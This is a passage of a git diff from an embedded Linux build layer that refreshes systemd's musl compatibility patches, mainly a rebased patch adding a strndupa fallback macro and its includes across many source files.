- __compar_d_fn_t compar, void *arg);
-diff --git a/src/core/kmod-setup.c b/src/core/kmod-setup.c
-index 128674327362..09ccd613e32c 100644
---- a/src/core/kmod-setup.c
-+++ b/src/core/kmod-setup.c
-@@ -10,6 +10,7 @@
- #include "kmod-setup.h"
- #include "macro.h"
- #include "string-util.h"
-+#include "missing_type.h"
-
- #if HAVE_KMOD
- #include "module-util.h"
-diff --git a/src/journal/catalog.c b/src/journal/catalog.c
-index 70b2c8b46c4e..d574a64586f1 100644
---- a/src/journal/catalog.c
-+++ b/src/journal/catalog.c
-@@ -28,6 +28,7 @@
- #include "string-util.h"
- #include "strv.h"
- #include "tmpfile-util.h"
-+#include "missing_type.h"
-
- const char * const catalog_file_dirs[] = {
- "/usr/local/lib/systemd/catalog/",
diff --git a/meta/recipes-core/systemd/systemd/0003-src-basic-copy.c-include-signal.h.patch b/meta/recipes-core/systemd/systemd/0003-src-basic-copy.c-include-signal.h.patch
deleted file mode 100644
index 538a99c7d7..0000000000
--- a/meta/recipes-core/systemd/systemd/0003-src-basic-copy.c-include-signal.h.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 082d2eb2a65525890a913723764e67a36ee75384 Mon Sep 17 00:00:00 2001
-From: Scott Murray <scott.murray@konsulko.com>
-Date: Fri, 13 Sep 2019 19:26:27 -0400
-Subject: [PATCH] Include signal.h
-
-Fixes several signal set related errors:
-src/basic/copy.c:92:19: error: implicit declaration of function 'sigemptyset' [-Werror=implicit-function-declaration]
-src/basic/copy.c:93:19: error: implicit declaration of function 'sigaddset' [-Werror=implicit-function-declaration]
-src/basic/copy.c:93:34: error: 'SIGINT' undeclared (first use in this function)
-src/basic/copy.c:95:13: error: implicit declaration of function 'sigtimedwait' [-Werror=implicit-function-declaration]
-
-Upstream-Status: Pending
-
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
-
----
- src/basic/copy.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/src/basic/copy.c b/src/basic/copy.c
-index 9028868f696d..5168586fa522 100644
---- a/src/basic/copy.c
-+++ b/src/basic/copy.c
-@@ -8,6 +8,7 @@
- #include <sys/sendfile.h>
- #include <sys/xattr.h>
- #include <unistd.h>
-+#include <signal.h>
-
- #include "alloc-util.h"
- #include "btrfs-util.h"
diff --git a/meta/recipes-core/systemd/systemd/0003-src-basic-missing.h-check-for-missing-strndupa.patch b/meta/recipes-core/systemd/systemd/0003-src-basic-missing.h-check-for-missing-strndupa.patch
new file mode 100644
index 0000000000..5595b5bc23
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0003-src-basic-missing.h-check-for-missing-strndupa.patch
@@ -0,0 +1,699 @@
+From 87f1d38f40c5fe9cadf2b2de442473e4e5605788 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Mon, 25 Feb 2019 14:18:21 +0800
+Subject: [PATCH 03/22] src/basic/missing.h: check for missing strndupa
+
+include missing.h for definition of strndupa
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+[Rebased for v242]
+Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
+[rebased for systemd 243]
+Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
+[rebased for systemd 244]
+[Rebased for v247]
+Signed-off-by: Luca Boccassi <luca.boccassi@microsoft.com>
+[Rebased for v254]
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+[Rebased for v255.1]
+---
+ meson.build | 1 +
+ src/backlight/backlight.c | 1 +
+ src/basic/cgroup-util.c | 1 +
+ src/basic/env-util.c | 1 +
+ src/basic/log.c | 1 +
+ src/basic/missing_stdlib.h | 12 ++++++++++++
+ src/basic/mkdir.c | 1 +
+ src/basic/mountpoint-util.c | 1 +
+ src/basic/parse-util.c | 1 +
+ src/basic/path-lookup.c | 1 +
+ src/basic/percent-util.c | 1 +
+ src/basic/proc-cmdline.c | 1 +
+ src/basic/procfs-util.c | 1 +
+ src/basic/time-util.c | 1 +
+ src/boot/bless-boot.c | 1 +
+ src/core/dbus-cgroup.c | 1 +
+ src/core/dbus-execute.c | 1 +
+ src/core/dbus-util.c | 1 +
+ src/core/execute.c | 1 +
+ src/core/kmod-setup.c | 1 +
+ src/core/service.c | 1 +
+ src/coredump/coredump-vacuum.c | 1 +
+ src/fstab-generator/fstab-generator.c | 1 +
+ src/journal-remote/journal-remote-main.c | 1 +
+ src/journal/journalctl.c | 1 +
+ src/libsystemd/sd-bus/bus-message.c | 1 +
+ src/libsystemd/sd-bus/bus-objects.c | 1 +
+ src/libsystemd/sd-bus/bus-socket.c | 1 +
+ src/libsystemd/sd-bus/sd-bus.c | 1 +
+ src/libsystemd/sd-bus/test-bus-benchmark.c | 1 +
+ src/libsystemd/sd-journal/sd-journal.c | 1 +
+ src/login/pam_systemd.c | 1 +
+ src/network/generator/network-generator.c | 1 +
+ src/nspawn/nspawn-settings.c | 1 +
+ src/nss-mymachines/nss-mymachines.c | 1 +
+ src/portable/portable.c | 1 +
+ src/resolve/resolvectl.c | 1 +
+ src/shared/bus-get-properties.c | 1 +
+ src/shared/bus-unit-procs.c | 1 +
+ src/shared/bus-unit-util.c | 1 +
+ src/shared/bus-util.c | 1 +
+ src/shared/dns-domain.c | 1 +
+ src/shared/journal-importer.c | 1 +
+ src/shared/logs-show.c | 1 +
+ src/shared/pager.c | 1 +
+ src/socket-proxy/socket-proxyd.c | 1 +
+ src/test/test-hexdecoct.c | 1 +
+ src/udev/udev-builtin-net_id.c | 1 +
+ src/udev/udev-builtin-path_id.c | 1 +
+ src/udev/udev-event.c | 1 +
+ src/udev/udev-rules.c | 1 +
+ 51 files changed, 62 insertions(+)
+
+diff --git a/meson.build b/meson.build
+index 01fd3ffc19..61a872b753 100644
+--- a/meson.build
++++ b/meson.build
+@@ -567,6 +567,7 @@ foreach ident : ['secure_getenv', '__secure_getenv']
+ endforeach
+
+ foreach ident : [
++ ['strndupa' , '''#include <string.h>'''],
+ ['memfd_create', '''#include <sys/mman.h>'''],
+ ['gettid', '''#include <sys/types.h>
+ #include <unistd.h>'''],
+diff --git a/src/backlight/backlight.c b/src/backlight/backlight.c
+index 5ac9f904a9..99d5122dd7 100644
+--- a/src/backlight/backlight.c
++++ b/src/backlight/backlight.c
+@@ -20,6 +20,7 @@
+ #include "string-util.h"
+ #include "strv.h"
+ #include "terminal-util.h"
++#include "missing_stdlib.h"
+
+ #define PCI_CLASS_GRAPHICS_CARD 0x30000
+
+diff --git a/src/basic/cgroup-util.c b/src/basic/cgroup-util.c
+index 18b16ecc0e..d2be79622f 100644
+--- a/src/basic/cgroup-util.c
++++ b/src/basic/cgroup-util.c
+@@ -38,6 +38,7 @@
+ #include "unit-name.h"
+ #include "user-util.h"
+ #include "xattr-util.h"
++#include "missing_stdlib.h"
+
+ static int cg_enumerate_items(const char *controller, const char *path, FILE **ret, const char *item) {
+ _cleanup_free_ char *fs = NULL;
+diff --git a/src/basic/env-util.c b/src/basic/env-util.c
+index d3bf73385f..16b17358ca 100644
+--- a/src/basic/env-util.c
++++ b/src/basic/env-util.c
+@@ -19,6 +19,7 @@
+ #include "string-util.h"
+ #include "strv.h"
+ #include "utf8.h"
++#include "missing_stdlib.h"
+
+ /* We follow bash for the character set. Different shells have different rules. */
+ #define VALID_BASH_ENV_NAME_CHARS \
+diff --git a/src/basic/log.c b/src/basic/log.c
+index 1470611a75..9924ec2b9a 100644
+--- a/src/basic/log.c
++++ b/src/basic/log.c
+@@ -40,6 +40,7 @@
+ #include "terminal-util.h"
+ #include "time-util.h"
+ #include "utf8.h"
++#include "missing_stdlib.h"
+
+ #define SNDBUF_SIZE (8*1024*1024)
+ #define IOVEC_MAX 256U
+diff --git a/src/basic/missing_stdlib.h b/src/basic/missing_stdlib.h
+index 8c76f93eb2..9068bfb4f0 100644
+--- a/src/basic/missing_stdlib.h
++++ b/src/basic/missing_stdlib.h
+@@ -11,3 +11,15 @@
+ # error "neither secure_getenv nor __secure_getenv are available"
+ # endif
+ #endif
++
++/* string.h */
++#if ! HAVE_STRNDUPA
++#define strndupa(s, n) \
++ ({ \
++ const char *__old = (s); \
++ size_t __len = strnlen(__old, (n)); \
++ char *__new = (char *)alloca(__len + 1); \
++ __new[__len] = '\0'; \
++ (char *)memcpy(__new, __old, __len); \
++ })
++#endif
+diff --git a/src/basic/mkdir.c b/src/basic/mkdir.c
+index c770e5ed32..1fd8816cd0 100644
+--- a/src/basic/mkdir.c
++++ b/src/basic/mkdir.c
+@@ -16,6 +16,7 @@
+ #include "stat-util.h"
+ #include "stdio-util.h"
+ #include "user-util.h"
++#include "missing_stdlib.h"
+
+ int mkdirat_safe_internal(
+ int dir_fd,
+diff --git a/src/basic/mountpoint-util.c b/src/basic/mountpoint-util.c
+index bf67f7e01a..409f8d8a73 100644
+--- a/src/basic/mountpoint-util.c
++++ b/src/basic/mountpoint-util.c
+@@ -18,6 +18,7 @@
+ #include "missing_stat.h"
+ #include "missing_syscall.h"
+ #include "mkdir.h"
++#include "missing_stdlib.h"
+ #include "mountpoint-util.h"
+ #include "nulstr-util.h"
+ #include "parse-util.h"
+diff --git a/src/basic/parse-util.c b/src/basic/parse-util.c
+index 0430e33e40..f3728de026 100644
+--- a/src/basic/parse-util.c
++++ b/src/basic/parse-util.c
+@@ -18,6 +18,7 @@
+ #include "stat-util.h"
+ #include "string-util.h"
+ #include "strv.h"
++#include "missing_stdlib.h"
+
+ int parse_boolean(const char *v) {
+ if (!v)
+diff --git a/src/basic/path-lookup.c b/src/basic/path-lookup.c
+index 4e3d59fc56..726e240df0 100644
+--- a/src/basic/path-lookup.c
++++ b/src/basic/path-lookup.c
+@@ -16,6 +16,7 @@
+ #include "strv.h"
+ #include "tmpfile-util.h"
+ #include "user-util.h"
++#include "missing_stdlib.h"
+
+ int xdg_user_runtime_dir(char **ret, const char *suffix) {
+ const char *e;
+diff --git a/src/basic/percent-util.c b/src/basic/percent-util.c
+index cab9d0eaea..5f6ca258e9 100644
+--- a/src/basic/percent-util.c
++++ b/src/basic/percent-util.c
+@@ -3,6 +3,7 @@
+ #include "percent-util.h"
+ #include "string-util.h"
+ #include "parse-util.h"
++#include "missing_stdlib.h"
+
+ static int parse_parts_value_whole(const char *p, const char *symbol) {
+ const char *pc, *n;
+diff --git a/src/basic/proc-cmdline.c b/src/basic/proc-cmdline.c
+index 522d8de1f4..7c129dc0fc 100644
+--- a/src/basic/proc-cmdline.c
++++ b/src/basic/proc-cmdline.c
+@@ -16,6 +16,7 @@
+ #include "string-util.h"
+ #include "strv.h"
+ #include "virt.h"
++#include "missing_stdlib.h"
+
+ int proc_cmdline_filter_pid1_args(char **argv, char ***ret) {
+ enum {
+diff --git a/src/basic/procfs-util.c b/src/basic/procfs-util.c
+index d7cfcd9105..6cb0ddf575 100644
+--- a/src/basic/procfs-util.c
++++ b/src/basic/procfs-util.c
+@@ -12,6 +12,7 @@
+ #include "procfs-util.h"
+ #include "stdio-util.h"
+ #include "string-util.h"
++#include "missing_stdlib.h"
+
+ int procfs_get_pid_max(uint64_t *ret) {
+ _cleanup_free_ char *value = NULL;
+diff --git a/src/basic/time-util.c b/src/basic/time-util.c
+index f9014dc560..1d7840a5b5 100644
+--- a/src/basic/time-util.c
++++ b/src/basic/time-util.c
+@@ -27,6 +27,7 @@
+ #include "string-util.h"
+ #include "strv.h"
+ #include "time-util.h"
++#include "missing_stdlib.h"
+
+ static clockid_t map_clock_id(clockid_t c) {
+
+diff --git a/src/boot/bless-boot.c b/src/boot/bless-boot.c
+index 0c0b4f23c7..68fe5ca509 100644
+--- a/src/boot/bless-boot.c
++++ b/src/boot/bless-boot.c
+@@ -22,6 +22,7 @@
+ #include "terminal-util.h"
+ #include "verbs.h"
+ #include "virt.h"
++#include "missing_stdlib.h"
+
+ static char **arg_path = NULL;
+
+diff --git a/src/core/dbus-cgroup.c b/src/core/dbus-cgroup.c
+index 4237e694c0..05f9d9d9a9 100644
+--- a/src/core/dbus-cgroup.c
++++ b/src/core/dbus-cgroup.c
+@@ -25,6 +25,7 @@
+ #include "parse-util.h"
+ #include "path-util.h"
+ #include "percent-util.h"
++#include "missing_stdlib.h"
+ #include "socket-util.h"
+
+ BUS_DEFINE_PROPERTY_GET(bus_property_get_tasks_max, "t", CGroupTasksMax, cgroup_tasks_max_resolve);
+diff --git a/src/core/dbus-execute.c b/src/core/dbus-execute.c
+index 4daa1cefd3..2c77901471 100644
+--- a/src/core/dbus-execute.c
++++ b/src/core/dbus-execute.c
+@@ -42,6 +42,7 @@
+ #include "unit-printf.h"
+ #include "user-util.h"
+ #include "utf8.h"
++#include "missing_stdlib.h"
+
+ BUS_DEFINE_PROPERTY_GET_ENUM(bus_property_get_exec_output, exec_output, ExecOutput);
+ static BUS_DEFINE_PROPERTY_GET_ENUM(property_get_exec_input, exec_input, ExecInput);
+diff --git a/src/core/dbus-util.c b/src/core/dbus-util.c
+index d680a64268..e59f48103e 100644
+--- a/src/core/dbus-util.c
++++ b/src/core/dbus-util.c
+@@ -9,6 +9,7 @@
+ #include "unit-printf.h"
+ #include "user-util.h"
+ #include "unit.h"
++#include "missing_stdlib.h"
+
+ int bus_property_get_triggered_unit(
+ sd_bus *bus,
+diff --git a/src/core/execute.c b/src/core/execute.c
+index ef0bf88687..bd3da0c401 100644
+--- a/src/core/execute.c
++++ b/src/core/execute.c
+@@ -72,6 +72,7 @@
+ #include "unit-serialize.h"
+ #include "user-util.h"
+ #include "utmp-wtmp.h"
++#include "missing_stdlib.h"
+
+ static bool is_terminal_input(ExecInput i) {
+ return IN_SET(i,
+diff --git a/src/core/kmod-setup.c b/src/core/kmod-setup.c
+index b8e3f7aadd..8ce8ca68d8 100644
+--- a/src/core/kmod-setup.c
++++ b/src/core/kmod-setup.c
+@@ -13,6 +13,7 @@
+ #include "string-util.h"
+ #include "strv.h"
+ #include "virt.h"
++#include "missing_stdlib.h"
+
+ #if HAVE_KMOD
+ #include "module-util.h"
+diff --git a/src/core/service.c b/src/core/service.c
+index b9eb40c555..268fe7573b 100644
+--- a/src/core/service.c
++++ b/src/core/service.c
+@@ -45,6 +45,7 @@
+ #include "unit-name.h"
+ #include "unit.h"
+ #include "utf8.h"
++#include "missing_stdlib.h"
+
+ #define service_spawn(...) service_spawn_internal(__func__, __VA_ARGS__)
+
+diff --git a/src/coredump/coredump-vacuum.c b/src/coredump/coredump-vacuum.c
+index 7e0c98cb7d..978a7f5874 100644
+--- a/src/coredump/coredump-vacuum.c
++++ b/src/coredump/coredump-vacuum.c
+@@ -17,6 +17,7 @@
+ #include "string-util.h"
+ #include "time-util.h"
+ #include "user-util.h"
++#include "missing_stdlib.h"
+
+ #define DEFAULT_MAX_USE_LOWER (uint64_t) (1ULL*1024ULL*1024ULL) /* 1 MiB */
+ #define DEFAULT_MAX_USE_UPPER (uint64_t) (4ULL*1024ULL*1024ULL*1024ULL) /* 4 GiB */
+diff --git a/src/fstab-generator/fstab-generator.c b/src/fstab-generator/fstab-generator.c
+index 016f3baa7f..b1def81313 100644
+--- a/src/fstab-generator/fstab-generator.c
++++ b/src/fstab-generator/fstab-generator.c
+@@ -37,6 +37,7 @@
+ #include "unit-name.h"
+ #include "virt.h"
+ #include "volatile-util.h"
++#include "missing_stdlib.h"
+
+ typedef enum MountPointFlags {
+ MOUNT_NOAUTO = 1 << 0,
+diff --git a/src/journal-remote/journal-remote-main.c b/src/journal-remote/journal-remote-main.c
+index da0f20d3ce..f22ce41908 100644
+--- a/src/journal-remote/journal-remote-main.c
++++ b/src/journal-remote/journal-remote-main.c
+@@ -27,6 +27,7 @@
+ #include "stat-util.h"
+ #include "string-table.h"
+ #include "strv.h"
++#include "missing_stdlib.h"
+
+ #define PRIV_KEY_FILE CERTIFICATE_ROOT "/private/journal-remote.pem"
+ #define CERT_FILE CERTIFICATE_ROOT "/certs/journal-remote.pem"
+diff --git a/src/journal/journalctl.c b/src/journal/journalctl.c
+index 7f3dcd56a4..41b7cbaaf1 100644
+--- a/src/journal/journalctl.c
++++ b/src/journal/journalctl.c
+@@ -77,6 +77,7 @@
+ #include "unit-name.h"
+ #include "user-util.h"
+ #include "varlink.h"
++#include "missing_stdlib.h"
+
+ #define DEFAULT_FSS_INTERVAL_USEC (15*USEC_PER_MINUTE)
+ #define PROCESS_INOTIFY_INTERVAL 1024 /* Every 1,024 messages processed */
+diff --git a/src/libsystemd/sd-bus/bus-message.c b/src/libsystemd/sd-bus/bus-message.c
+index ff0228081f..9066fcb133 100644
+--- a/src/libsystemd/sd-bus/bus-message.c
++++ b/src/libsystemd/sd-bus/bus-message.c
+@@ -19,6 +19,7 @@
+ #include "strv.h"
+ #include "time-util.h"
+ #include "utf8.h"
++#include "missing_stdlib.h"
+
+ static int message_append_basic(sd_bus_message *m, char type, const void *p, const void **stored);
+ static int message_parse_fields(sd_bus_message *m);
+diff --git a/src/libsystemd/sd-bus/bus-objects.c b/src/libsystemd/sd-bus/bus-objects.c
+index c25c40ff37..57a5da704f 100644
+--- a/src/libsystemd/sd-bus/bus-objects.c
++++ b/src/libsystemd/sd-bus/bus-objects.c
+@@ -11,6 +11,7 @@
+ #include "missing_capability.h"
+ #include "string-util.h"
+ #include "strv.h"
++#include "missing_stdlib.h"
+
+ static int node_vtable_get_userdata(
+ sd_bus *bus,
+diff --git a/src/libsystemd/sd-bus/bus-socket.c b/src/libsystemd/sd-bus/bus-socket.c
+index 3c59d0d615..746922d46f 100644
+--- a/src/libsystemd/sd-bus/bus-socket.c
++++ b/src/libsystemd/sd-bus/bus-socket.c
+@@ -29,6 +29,7 @@
+ #include "string-util.h"
+ #include "user-util.h"
+ #include "utf8.h"
++#include "missing_stdlib.h"
+
+ #define SNDBUF_SIZE (8*1024*1024)
+
+diff --git a/src/libsystemd/sd-bus/sd-bus.c b/src/libsystemd/sd-bus/sd-bus.c
+index 4a0259f8bb..aaa90d2223 100644
+--- a/src/libsystemd/sd-bus/sd-bus.c
++++ b/src/libsystemd/sd-bus/sd-bus.c
+@@ -46,6 +46,7 @@
+ #include "string-util.h"
+ #include "strv.h"
+ #include "user-util.h"
++#include "missing_stdlib.h"
+
+ #define log_debug_bus_message(m) \
+ do { \
+diff --git a/src/libsystemd/sd-bus/test-bus-benchmark.c b/src/libsystemd/sd-bus/test-bus-benchmark.c
+index d988588de0..458df8df9a 100644
+--- a/src/libsystemd/sd-bus/test-bus-benchmark.c
++++ b/src/libsystemd/sd-bus/test-bus-benchmark.c
+@@ -14,6 +14,7 @@
+ #include "string-util.h"
+ #include "tests.h"
+ #include "time-util.h"
++#include "missing_stdlib.h"
+
+ #define MAX_SIZE (2*1024*1024)
+
+diff --git a/src/libsystemd/sd-journal/sd-journal.c b/src/libsystemd/sd-journal/sd-journal.c
+index 6b9ff0a4ed..4a5027ad0f 100644
+--- a/src/libsystemd/sd-journal/sd-journal.c
++++ b/src/libsystemd/sd-journal/sd-journal.c
+@@ -44,6 +44,7 @@
+ #include "strv.h"
+ #include "syslog-util.h"
+ #include "uid-alloc-range.h"
++#include "missing_stdlib.h"
+
+ #define JOURNAL_FILES_RECHECK_USEC (2 * USEC_PER_SEC)
+
+diff --git a/src/login/pam_systemd.c b/src/login/pam_systemd.c
+index b8da266e27..4bb8dd9496 100644
+--- a/src/login/pam_systemd.c
++++ b/src/login/pam_systemd.c
+@@ -35,6 +35,7 @@
+ #include "login-util.h"
+ #include "macro.h"
+ #include "missing_syscall.h"
++#include "missing_stdlib.h"
+ #include "pam-util.h"
+ #include "parse-util.h"
+ #include "path-util.h"
+diff --git a/src/network/generator/network-generator.c b/src/network/generator/network-generator.c
+index 48527a2c73..9777fe0561 100644
+--- a/src/network/generator/network-generator.c
++++ b/src/network/generator/network-generator.c
+@@ -14,6 +14,7 @@
+ #include "string-table.h"
+ #include "string-util.h"
+ #include "strv.h"
++#include "missing_stdlib.h"
+
+ /*
+ # .network
+diff --git a/src/nspawn/nspawn-settings.c b/src/nspawn/nspawn-settings.c
+index 161b1c1c70..ba1c459f78 100644
+--- a/src/nspawn/nspawn-settings.c
++++ b/src/nspawn/nspawn-settings.c
+@@ -16,6 +16,7 @@
+ #include "string-util.h"
+ #include "strv.h"
+ #include "user-util.h"
++#include "missing_stdlib.h"
+
+ Settings *settings_new(void) {
+ Settings *s;
+diff --git a/src/nss-mymachines/nss-mymachines.c b/src/nss-mymachines/nss-mymachines.c
+index c64e79bdff..eda26b0b9a 100644
+--- a/src/nss-mymachines/nss-mymachines.c
++++ b/src/nss-mymachines/nss-mymachines.c
+@@ -21,6 +21,7 @@
+ #include "nss-util.h"
+ #include "signal-util.h"
+ #include "string-util.h"
++#include "missing_stdlib.h"
+
+ static void setup_logging_once(void) {
+ static pthread_once_t once = PTHREAD_ONCE_INIT;
+diff --git a/src/portable/portable.c b/src/portable/portable.c
+index d4b448a627..bb26623565 100644
+--- a/src/portable/portable.c
++++ b/src/portable/portable.c
+@@ -40,6 +40,7 @@
+ #include "strv.h"
+ #include "tmpfile-util.h"
+ #include "user-util.h"
++#include "missing_stdlib.h"
+
+ /* Markers used in the first line of our 20-portable.conf unit file drop-in to determine, that a) the unit file was
+ * dropped there by the portable service logic and b) for which image it was dropped there. */
+diff --git a/src/resolve/resolvectl.c b/src/resolve/resolvectl.c
+index afa537f160..32ccee4ae5 100644
+--- a/src/resolve/resolvectl.c
++++ b/src/resolve/resolvectl.c
+@@ -48,6 +48,7 @@
+ #include "varlink.h"
+ #include "verb-log-control.h"
+ #include "verbs.h"
++#include "missing_stdlib.h"
+
+ static int arg_family = AF_UNSPEC;
+ static int arg_ifindex = 0;
+diff --git a/src/shared/bus-get-properties.c b/src/shared/bus-get-properties.c
+index 53e5d6b99f..851ecd5644 100644
+--- a/src/shared/bus-get-properties.c
++++ b/src/shared/bus-get-properties.c
+@@ -4,6 +4,7 @@
+ #include "rlimit-util.h"
+ #include "stdio-util.h"
+ #include "string-util.h"
++#include "missing_stdlib.h"
+
+ int bus_property_get_bool(
+ sd_bus *bus,
+diff --git a/src/shared/bus-unit-procs.c b/src/shared/bus-unit-procs.c
+index 8b462b5627..183ce1c18e 100644
+--- a/src/shared/bus-unit-procs.c
++++ b/src/shared/bus-unit-procs.c
+@@ -11,6 +11,7 @@
+ #include "sort-util.h"
+ #include "string-util.h"
+ #include "terminal-util.h"
++#include "missing_stdlib.h"
+
+ struct CGroupInfo {
+ char *cgroup_path;
+diff --git a/src/shared/bus-unit-util.c b/src/shared/bus-unit-util.c
+index 4ee9706847..30c8084847 100644
+--- a/src/shared/bus-unit-util.c
++++ b/src/shared/bus-unit-util.c
+@@ -50,6 +50,7 @@
+ #include "unit-def.h"
+ #include "user-util.h"
+ #include "utf8.h"
++#include "missing_stdlib.h"
+
+ int bus_parse_unit_info(sd_bus_message *message, UnitInfo *u) {
+ assert(message);
+diff --git a/src/shared/bus-util.c b/src/shared/bus-util.c
+index 4123152d93..74f148c8b4 100644
+--- a/src/shared/bus-util.c
++++ b/src/shared/bus-util.c
+@@ -24,6 +24,7 @@
+ #include "path-util.h"
+ #include "socket-util.h"
+ #include "stdio-util.h"
++#include "missing_stdlib.h"
+
+ static int name_owner_change_callback(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
+ sd_event *e = ASSERT_PTR(userdata);
+diff --git a/src/shared/dns-domain.c b/src/shared/dns-domain.c
+index b41c9b06ca..e69050a507 100644
+--- a/src/shared/dns-domain.c
++++ b/src/shared/dns-domain.c
+@@ -18,6 +18,7 @@
+ #include "string-util.h"
+ #include "strv.h"
+ #include "utf8.h"
++#include "missing_stdlib.h"
+
+ int dns_label_unescape(const char **name, char *dest, size_t sz, DNSLabelFlags flags) {
+ const char *n;
+diff --git a/src/shared/journal-importer.c b/src/shared/journal-importer.c
+index 83e9834bbf..74eaae6f5e 100644
+--- a/src/shared/journal-importer.c
++++ b/src/shared/journal-importer.c
+@@ -16,6 +16,7 @@
+ #include "string-util.h"
+ #include "strv.h"
+ #include "unaligned.h"
++#include "missing_stdlib.h"
+
+ enum {
+ IMPORTER_STATE_LINE = 0, /* waiting to read, or reading line */
+diff --git a/src/shared/logs-show.c b/src/shared/logs-show.c
+index a5d04003bd..10392c132d 100644
+--- a/src/shared/logs-show.c
++++ b/src/shared/logs-show.c
+@@ -41,6 +41,7 @@
+ #include "time-util.h"
+ #include "utf8.h"
+ #include "web-util.h"
++#include "missing_stdlib.h"
+
+ /* up to three lines (each up to 100 characters) or 300 characters, whichever is less */
+ #define PRINT_LINE_THRESHOLD 3
+diff --git a/src/shared/pager.c b/src/shared/pager.c
+index 19deefab56..6b6d0af1a0 100644
+--- a/src/shared/pager.c
++++ b/src/shared/pager.c
+@@ -25,6 +25,7 @@
+ #include "string-util.h"
+ #include "strv.h"
+ #include "terminal-util.h"
++#include "missing_stdlib.h"
+
+ static pid_t pager_pid = 0;
+
+diff --git a/src/socket-proxy/socket-proxyd.c b/src/socket-proxy/socket-proxyd.c
+index 287fd6c181..8f8d5493da 100644
+--- a/src/socket-proxy/socket-proxyd.c
++++ b/src/socket-proxy/socket-proxyd.c
+@@ -27,6 +27,7 @@
+ #include "set.h"
+ #include "socket-util.h"
+ #include "string-util.h"
++#include "missing_stdlib.h"
+
+ #define BUFFER_SIZE (256 * 1024)
+
+diff --git a/src/test/test-hexdecoct.c b/src/test/test-hexdecoct.c
+index f884008660..987e180697 100644
+--- a/src/test/test-hexdecoct.c
++++ b/src/test/test-hexdecoct.c
+@@ -7,6 +7,7 @@
+ #include "macro.h"
+ #include "random-util.h"
+ #include "string-util.h"
++#include "missing_stdlib.h"
+ #include "tests.h"
+
+ TEST(hexchar) {
+diff --git a/src/udev/udev-builtin-net_id.c b/src/udev/udev-builtin-net_id.c
+index 91b40088f4..f528a46b8e 100644
+--- a/src/udev/udev-builtin-net_id.c
++++ b/src/udev/udev-builtin-net_id.c
+@@ -39,6 +39,7 @@
+ #include "strv.h"
+ #include "strxcpyx.h"
+ #include "udev-builtin.h"
++#include "missing_stdlib.h"
+
+ #define ONBOARD_14BIT_INDEX_MAX ((1U << 14) - 1)
+ #define ONBOARD_16BIT_INDEX_MAX ((1U << 16) - 1)
+diff --git a/src/udev/udev-builtin-path_id.c b/src/udev/udev-builtin-path_id.c
+index 467c9a6ad3..f74dae60af 100644
+--- a/src/udev/udev-builtin-path_id.c
++++ b/src/udev/udev-builtin-path_id.c
+@@ -24,6 +24,7 @@
+ #include "sysexits.h"
+ #include "udev-builtin.h"
+ #include "udev-util.h"
++#include "missing_stdlib.h"
+
+ _printf_(2,3)
+ static void path_prepend(char **path, const char *fmt, ...) {
+diff --git a/src/udev/udev-event.c b/src/udev/udev-event.c
+index ed22c8b679..19ebe20237 100644
+--- a/src/udev/udev-event.c
++++ b/src/udev/udev-event.c
+@@ -16,6 +16,7 @@
+ #include "udev-util.h"
+ #include "udev-watch.h"
+ #include "user-util.h"
++#include "missing_stdlib.h"
+
+ UdevEvent *udev_event_new(sd_device *dev, usec_t exec_delay_usec, sd_netlink *rtnl, int log_level) {
+ UdevEvent *event;
+diff --git a/src/udev/udev-rules.c b/src/udev/udev-rules.c
+index 5f12002394..febe345b4c 100644
+--- a/src/udev/udev-rules.c
++++ b/src/udev/udev-rules.c
+@@ -41,6 +41,7 @@
+ #include "udev-util.h"
+ #include "user-util.h"
+ #include "virt.h"
++#include "missing_stdlib.h"
+
+ #define RULES_DIRS ((const char* const*) CONF_PATHS_STRV("udev/rules.d"))
+
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0004-add-fallback-parse_printf_format-implementation.patch b/meta/recipes-core/systemd/systemd/0004-add-fallback-parse_printf_format-implementation.patch
deleted file mode 100644
index e65c543614..0000000000
--- a/meta/recipes-core/systemd/systemd/0004-add-fallback-parse_printf_format-implementation.patch
+++ /dev/null
@@ -1,431 +0,0 @@
-From 8af168cefca01f8f2da336f1c82620c284dc74f2 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 14:04:21 +0800
-Subject: [PATCH] add fallback parse_printf_format implementation
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Emil Renner Berthing <systemd@esmil.dk>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-[rebased for systemd 243]
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
-
----
- meson.build | 1 +
- src/basic/meson.build | 5 +
- src/basic/parse-printf-format.c | 273 ++++++++++++++++++++++++++++++++
- src/basic/parse-printf-format.h | 57 +++++++
- src/basic/stdio-util.h | 2 +-
- src/journal/journal-send.c | 2 +-
- 6 files changed, 338 insertions(+), 2 deletions(-)
- create mode 100644 src/basic/parse-printf-format.c
- create mode 100644 src/basic/parse-printf-format.h
-
-Index: systemd-stable/meson.build
-===================================================================
---- systemd-stable.orig/meson.build
-+++ systemd-stable/meson.build
-@@ -638,6 +638,7 @@ endif
- foreach header : ['crypt.h',
- 'linux/memfd.h',
- 'linux/vm_sockets.h',
-+ 'printf.h',
- 'sys/auxv.h',
- 'valgrind/memcheck.h',
- 'valgrind/valgrind.h',
-Index: systemd-stable/src/basic/meson.build
-===================================================================
---- systemd-stable.orig/src/basic/meson.build
-+++ systemd-stable/src/basic/meson.build
-@@ -317,6 +317,11 @@ foreach item : [['af', af_list_txt,
- endforeach
-
- basic_sources += generated_gperf_headers
-+
-+if conf.get('HAVE_PRINTF_H') != 1
-+ basic_sources += [files('parse-printf-format.c')]
-+endif
-+
- basic_gcrypt_sources = files(
- 'gcrypt-util.c',
